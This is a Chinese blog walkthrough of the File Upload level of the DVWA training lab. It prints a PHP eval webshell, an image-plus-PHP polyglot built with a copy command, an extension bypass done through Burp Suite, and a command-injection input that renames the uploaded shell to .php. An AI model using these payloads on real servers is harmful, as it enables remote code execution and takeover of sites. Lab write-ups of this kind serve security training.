dvwa靶场通关(五)

第五关 File Upload(文件上传漏洞)

File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限

low

low等级没有任何的防护

 

创建一个test.txt文件,输入下面一句话木马

<?php @eval($_POST['666']); ?>

 

 然后改后缀名为.php,变成php文件,然后就上传该文件,返回一个路径

 打开蚁剑连接,url就是根路径拼接上返回的路径

 medium

这一关对文件类型和大小进行了限制,只能是jpg或者png格式文件,并且文件大小不能超过100000字节

 上传刚才的php文件,提示只能上传jpeg或者png格式

 那我们就把后缀改成jpg再上传,发现成功了,并且给出了上传的路径

 

 继续用蚁剑连接,发现虽然上传成功,但是无法连接成功,单纯的图片马并不能直接和蚁剑连接,因为该文件依然是以image格式进行解析,只有利用文件包含漏洞,才能成功利用该木马

 所以我们要换一个方法绕过前端的检测,我们选择test.jpg上传,然后burp suite抓包,把后缀名改成.php即可绕过前端的检测,上传一个test.php文件

 上传成功了

 

 这回连接成功了

 

high

 查看源码,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpeg” 、”.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。发现仅仅后缀是图片格式的还不行,文件内容必须还得是图片格式的。getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错

 我们找一张小一点的图片,和shell.php文件放在一起,同路径下输入cmd打开命令输入

copy 1.png /b + shell.php /a shell.jpg

 

 

 成功创建一个shell.jpg文件

 打开这个图片看,我们的php代码已经拼接到后面了

 然后上传该文件

 

 此时由于图片马中的php代码并没有被解析,所以不能直接使用蚁剑进行连接,这里可以通过命令注入漏洞将文件名改为php

打开命令注入漏洞的low等级,输入下面内容

127.0.0.1 |rename ..\..\hackable\uploads\shell.jpg shell.php

 

 然后shell.jpg就被改成了shell.php

 接下来就用蚁剑连接即可

 impossible

可以看到,Impossible级别的代码加入Anti-CSRF token防护CSRF攻击,对上传文件进行了重命名为md5值,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值